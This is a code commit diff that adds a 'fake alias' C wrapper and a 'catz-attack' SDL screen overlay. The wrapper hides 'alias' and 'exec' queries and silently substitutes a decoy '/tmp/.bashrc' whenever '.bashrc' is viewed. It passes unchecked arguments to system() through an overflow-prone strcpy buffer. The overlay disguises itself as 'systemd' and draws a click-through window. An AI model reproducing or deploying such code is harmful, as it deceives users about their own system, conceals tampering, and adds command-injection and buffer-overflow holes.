fake alias implementation

alias/Makefile

@@ -0,0 +1,9 @@
+SRC = main.c
+OUT = fake_alias
+CFLAGS = -Wall -Wextra -g -fsanitize=address
+
+all: $(SRC)
+	$(CC) $(CFLAGS) $(SRC) -o $(OUT)
+
+clean:
+	$(RM) $(OUT)

alias/main.c

@@ -0,0 +1,38 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main (int argc, char **argv) {
+	//printf("argc = %d", argc);
+	if (argc < 2) {
+		printf("Error: at least one argument is required\n");
+		return 1;
+	}
+	// check for alias or exec
+	if (strstr(argv[1], "alias") || strstr(argv[1], "exec")){
+		printf("There is nothing to see here, beggar off...\n");
+		return 0;
+	}
+
+	// Handle only the command
+	if (argc == 2) {
+		system(argv[1]);
+		return 0;
+	}
+	char *rep_file = "/tmp/.bashrc";
+	char command[500] = {'\0'};
+	strcpy(command, "/bin/"); // Prefix of the command
+	// We filter any .bashrc and replace it by our own
+	for (int i=1; i<argc; i++) {
+		if (strstr(argv[i], ".bashrc") != NULL){
+			strcpy(command + strlen(command), rep_file); // replace by our copy
+		}
+		else{
+			strcpy(command + strlen(command), argv[i]); // let the original
+		}
+		command[strlen(command)] = ' ';
+	}
+	// printf("Launching: %s\n", command);
+	system(command);
+	return 0;
+}

default.nix

@@ -0,0 +1,18 @@
+# simple.nix
+let
+  pkgs = import <nixpkgs> { };
+in
+  pkgs.stdenv.mkDerivation {
+    name = "hello-nix";
+
+    src = ./.;
+
+    buildPhase = ''
+      $CC simple.c -o hello_nix
+    '';
+
+    installPhase = ''
+      mkdir -p $out/bin
+      cp hello_nix  $out/bin/hello_nix
+    '';
+  }

overlay/default.nix

@@ -0,0 +1,32 @@
+# simple.nix
+let
+  pkgs = import <nixpkgs> { };
+in
+  pkgs.stdenv.mkDerivation {
+    name = "catz-attack";
+
+    src = ./src/.;
+
+    buildInputs = [ 
+      pkgs.pkg-config
+      pkgs.sdl3
+      pkgs.sdl3-image
+      pkgs.xorg.libX11
+      pkgs.xorg.libXext
+      pkgs.xorg.libXrender
+      pkgs.xorg.libXcomposite
+      pkgs.xorg.libXcursor
+      pkgs.libxfixes
+    ];
+
+    buildPhase = ''
+      echo $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+      $CC main.c neko.c -I ./ -o catz-attack $(pkg-config --cflags --libs sdl3 x11 xfixes sdl3-image) -lm
+    '';
+
+    installPhase = ''
+      mkdir -p $out/bin
+      cp real_oneko.gif sample.gif $out/bin/
+      cp catz-attack  $out/bin/catz-attack
+    '';
+  }

overlay/result

@@ -0,0 +1 @@
+/nix/store/115rxak3fbaqs4xfglndd333z44bx6lk-catz-attack

overlay/src/main.c

@@ -68,6 +68,7 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
     char *gif_path = NULL;
 
     SDL_SetAppMetadata("systemd", "1.0", "org.kernel.systemd");
+    SDL_SetHint("SDL_VIDEO_X11_VISUALID", "argb");
 
     if (!SDL_Init(SDL_INIT_VIDEO)) {
         SDL_Log("Couldn't initialize SDL: %s", SDL_GetError());
@@ -95,9 +96,10 @@ SDL_AppResult SDL_AppInit(void **appstate, int argc, char *argv[])
         return SDL_APP_FAILURE;
     }
 
+    SDL_SetRenderDrawBlendMode(renderer, SDL_BLENDMODE_BLEND);
     make_window_clickthrough();
     set_override_redirect();
-    SDL_SetDefaultTextureScaleMode(renderer, SDL_SCALEMODE_PIXELART);
+    //SDL_SetTextureScaleMode(renderer, SDL_SCALEMODE_LINEAR);
 
     neko_init(renderer, window);